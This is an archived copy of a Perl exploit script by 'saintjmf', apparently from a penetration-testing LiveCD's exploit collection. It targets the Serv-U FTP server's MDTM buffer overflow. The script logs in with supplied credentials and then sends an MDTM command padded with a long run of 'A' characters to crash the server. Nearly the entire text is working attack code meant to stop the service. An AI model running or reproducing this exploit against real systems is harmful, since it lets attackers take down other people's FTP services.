home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / servu / servu-mdtm.pl < prev    next >
Text File  |  2005-02-12  |  2KB  |  53 lines

  1. ## Coded by saintjmf
  2. ## This exploits Serv-u MDTM buffer overflow - Shutsdown server
  3. ## Discovered by bkbll - Info provided by securityfocus
  4. ## For exploit to work you need valid username and password
  5. ## I do not take responsibility for the use of this code
  6.  
  7. use IO::Socket qw(:DEFAULT :crlf);
  8. print "Serv-u MDTM Buffer overflow - by saintjmf\n";
  9.  
  10. ## Get Host port unsername and password
  11.  
  12. my $host = shift || die print "\nUsage: <program> <Host> <port> <username> <password>\n";
  13. my $port = shift || die print "\nUsage: <program> <Host> <port> <username> <password> \n";
  14.  
  15. $username = shift || die print "\nUsage: <program> <Host> <port> <username> <password> \n"; 
  16. $password = shift || die print "\nUsage: <program> <Host> <port> <username> <password> \n";
  17.  
  18. ## Create Socket
  19. my $socket = IO::Socket::INET->new("$host:$port")  or die print "\nUnable to connect -- $!\n";
  20.  
  21. print "connecting...............\n\n";
  22.  
  23. connecter($socket);
  24.  
  25.  
  26. print "Server should be stopped\n";
  27.  
  28.  
  29. ## Sub that sends username, password and exploit
  30.  
  31. sub connecter{    
  32.     $/ = CRLF;
  33.     my $socket2 = shift;
  34.     my $message2 = <$socket2>;
  35.     chomp $message2;
  36.     print "$message2\n";
  37.     sleep(5);
  38.     print $socket2 "user $username",CRLF;
  39.     $message2 = <$socket2>;
  40.     chomp $message2;
  41.     print "$message2\n";
  42. sleep (5);
  43.     print $socket2 "pass $password", CRLF;
  44.  
  45.     $message2 = <$socket2>;
  46.     chomp $message2;
  47.     print "$message2\n";
  48. sleep (4);
  49.     print "Sending MDTM Overflow.....\n";
  50.     print $socket2 "MDTM 20041111111111+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA /test.txt" ,CRLF;
  51.  
  52. }
  53.